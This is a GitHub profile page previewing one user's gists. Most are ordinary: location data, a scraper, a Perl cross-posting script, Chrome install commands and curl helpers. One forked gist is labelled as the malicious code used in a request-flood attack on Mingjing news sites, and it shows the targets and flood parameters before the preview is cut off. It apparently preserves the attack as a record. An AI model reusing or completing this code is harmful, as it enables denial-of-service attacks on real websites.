Skip to content

Instantly share code, notes, and snippets.

View chuanxd's full-sized avatar

Timmy Chang chuanxd

View GitHub Profile
[{"name":"伍輪企業股份有限公司","lat":"24.9764601","lng":"121.2345903"},{"name":"安利日用品股份有限公司","lat":"25.1257367","lng":"121.5005259"},{"name":"陳氏強化玻璃股份有限公司","lat":"22.7039461","lng":"120.3433128"},{"name":"建哲有限公司","lat":"24.6806175","lng":"120.8741805"},{"name":"宏奇工業社","lat":"23.05935","lng":"120.216309"},{"name":"五福實業社","lat":"25.0713479","lng":"121.514263"},{"name":"順穎精密有限公司","lat":"24.1009999","lng":"120.519207"},{"name":"金炤工業有限公司","lat":"25.0492896","lng":"121.5933862"},{"name":"迦南通信工業股份有限公司","lat":"25.0478338","lng":"121.5841548"},{"name":"宏奇電腦用品有限公司","lat":"25.053857","lng":"121.587895"},{"name":"龍羽企業有限公司","lat":"25.0607706","lng":"121.613273"},{"name":"新豐塑膠有限公司","lat":"25.06109","lng":"121.61261"},{"name":"銓鴻鋼鋁業有限公司","lat":"25.063219","lng":"121.599767"},{"name":"名霖企業社","lat":"25.032142","lng":"121.416839"},{"name":"昇倫金屬有限公司","lat":"25.0496424","lng":"121.589797"},{"name":"樹樺電子股份有限公司","lat":"25.061364","lng":"121.602168"},{"name":"宜修企業有限公司","lat":"25.0535129","lng":"121.5862197"},{"name":"珩陞行生物科技股份有限公司","lat":"2
[{"name":"伍輪企業股份有限公司","lat":"24.9764601","lng":"121.2345903"},{"name":"安利日用品股份有限公司","lat":"25.1257367","lng":"121.5005259"},{"name":"陳氏強化玻璃股份有限公司","lat":"22.7039461","lng":"120.3433128"},{"name":"建哲有限公司","lat":"24.6806175","lng":"120.8741805"},{"name":"宏奇工業社","lat":"23.05935","lng":"120.216309"},{"name":"五福實業社","lat":"25.0713479","lng":"121.514263"},{"name":"順穎精密有限公司","lat":"24.1009999","lng":"120.519207"},{"name":"金炤工業有限公司","lat":"25.0492896","lng":"121.5933862"},{"name":"迦南通信工業股份有限公司","lat":"25.0478338","lng":"121.5841548"},{"name":"宏奇電腦用品有限公司","lat":"25.053857","lng":"121.587895"},{"name":"龍羽企業有限公司","lat":"25.0607706","lng":"121.613273"},{"name":"新豐塑膠有限公司","lat":"25.06109","lng":"121.61261"},{"name":"銓鴻鋼鋁業有限公司","lat":"25.063219","lng":"121.599767"},{"name":"名霖企業社","lat":"25.032142","lng":"121.416839"},{"name":"昇倫金屬有限公司","lat":"25.0496424","lng":"121.589797"},{"name":"樹樺電子股份有限公司","lat":"25.061364","lng":"121.602168"},{"name":"宜修企業有限公司","lat":"25.0535129","lng":"121.5862197"},{"name":"珩陞行生物科技股份有限公司","lat":"2
if (/Android */.test(navigator.appVersion)) {
window.addEventListener('resize', () => {
if (document.activeElement.tagName === 'INPUT') {
window.setTimeout(() => {
document.activeElement.scrollIntoViewIfNeeded()
}, 0)
}
})
}
@chuanxd
chuanxd / twitterToPlurk.pl
Created August 10, 2017 03:49 — forked from gslin/twitterToPlurk.pl
Plurk 新版 OAuth Core 1.0a 的 twitter to plurk
#!/usr/bin/env perl
use strict;
use warnings;
use 5.010;
use Data::UUID;
use DBI;
use HTTP::Request::Common;
use LWP::Simple;
@chuanxd
chuanxd / mingjingtimes-ddos-code.js
Created August 27, 2017 13:29 — forked from nczz/mingjingtimes-ddos-code.js
明鏡時報惡意大量請求攻擊程式碼
if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
var MAX_TIME = 300000;
var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/'];
var MAX_COUNT = 100000000;
var TIMEGAP = 500;
var THREAD = 10;
var START_CLOCK = 1;
function unixtime() {
var dt = new Date();
@chuanxd
chuanxd / scapeCostco.js
Created October 17, 2017 00:52 — forked from clonn/scapeCostco.js
擷取 costco 商品資料,如果商品沒有貨, result 的結果會是已售完
var request = require('request');
var cheerio = require('cheerio');
var url = 'https://www.costco.com.tw/Baby-Care-Kids-Toys/Toys/Infant-%26-Preschool/VTech-Sit-To-Stand-Ultimate-Alphabet-Train/p/105123';
request(url, function(err, res, body){
var $ = cheerio.load(body);
var result = $('.stock-status').text().trim();
window.onload = timeConvert();
function timeConvert(kls) {
var post_times;
if(kls){
post_times = document.getElementsByClassName(kls);
}
else{
post_times = document.getElementsByClassName("post-time");
@chuanxd
chuanxd / gist:6141c28f74a667f6c5770ffbff481ecc
Created May 26, 2018 10:02 — forked from mrtns/gist:78d15e3263b2f6a231fe
Upgrade Chrome from Command Line on Ubuntu
# Install
# via http://askubuntu.com/questions/510056/how-to-install-google-chrome
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
sudo apt-get update
sudo apt-get install google-chrome-stable
# Update
@chuanxd
chuanxd / bash_curl_loop
Created October 23, 2018 19:07 — forked from ceme/bash_curl_loop
bash curl loop
while true; do sleep 1; curl http://www.google.com; echo -e '\n\n\n\n'$(date);done
@chuanxd
chuanxd / sniff.txt
Created October 23, 2018 19:25 — forked from manifestinteractive/sniff.txt
A friendly formatter for curl requests to help with debugging.
\n
============= HOST: ==========\n
\n
local_ip: %{local_ip}\n
local_port: %{local_port}\n
remote_ip: %{remote_ip}\n
remote_port: %{remote_port}\n
\n
======= CONNECTION: ==========\n
\n